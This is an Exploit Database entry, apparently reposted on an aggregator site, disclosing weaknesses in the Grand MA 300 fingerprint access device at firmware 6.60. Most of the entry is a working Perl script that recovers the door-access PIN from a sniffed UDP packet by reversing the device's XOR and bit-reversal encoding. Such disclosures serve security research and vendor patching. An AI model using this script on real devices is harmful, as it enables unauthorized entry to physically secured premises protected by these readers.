Granding MA300 – Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure

• Exploit Database
• 95 阅读

• 作者： Eric Sesterhenn
  日期： 2014-08-26
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39292/

• source: https://www.securityfocus.com/bid/69390/info
  
  Grand MA 300 is prone to multiple security weaknesses.
  
  Attackers can exploit these issues to disclose the access pin by sniffing network traffic or perform brute-force attacks on pin to gain unauthorized access. This may aid in other attacks.
  
  Grand MA 300 running firmware version 6.60 is vulnerable. 
  
  #!/usr/bin/perl
  #
  # This script calculates the original pin based on the pin
  # retrieved on the wire for the Grand MA 300 fingerprint access device
  #
  # look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
  # encoded pin
  #
  # written by Eric Sesterhenn <eric.sesterhenn () lsexperts de>
  # http://www.lsexperts.de
  #
  use warnings;
  use strict;
  
  my $cid = 0; # connection id
  my $ret = 0x4B00A987; # pin on the wire
  
  # get gettickcount value (third byte)
  my $gc = ($ret >> 16) & 0xFF;
  
  # set third byte to magic value (so it becomes zero when we xor it later with the magic value)
  $ret =$ret | 0x005A0000;
  
  # xor all, but third byte with last byte of gettickcount
  $ret ^= $gc + ($gc << 8) + ($gc << 24);
  
  # switch the words
  $ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);
  
  # xor with magic value
  $ret ^= 0x4F534B5A;
  
  # substract the connection id
  $ret -= $cid;
  
  my $fin = 0;
  # revert the bits
  for (my $i = 0; $i < 32; $i++) {
  $fin *= 2;
  if ($ret & 1) {
  $fin = $fin + 1;
  }
  $ret = $ret / 2;
  }
  
  printf("final: %X \n", $fin);
  

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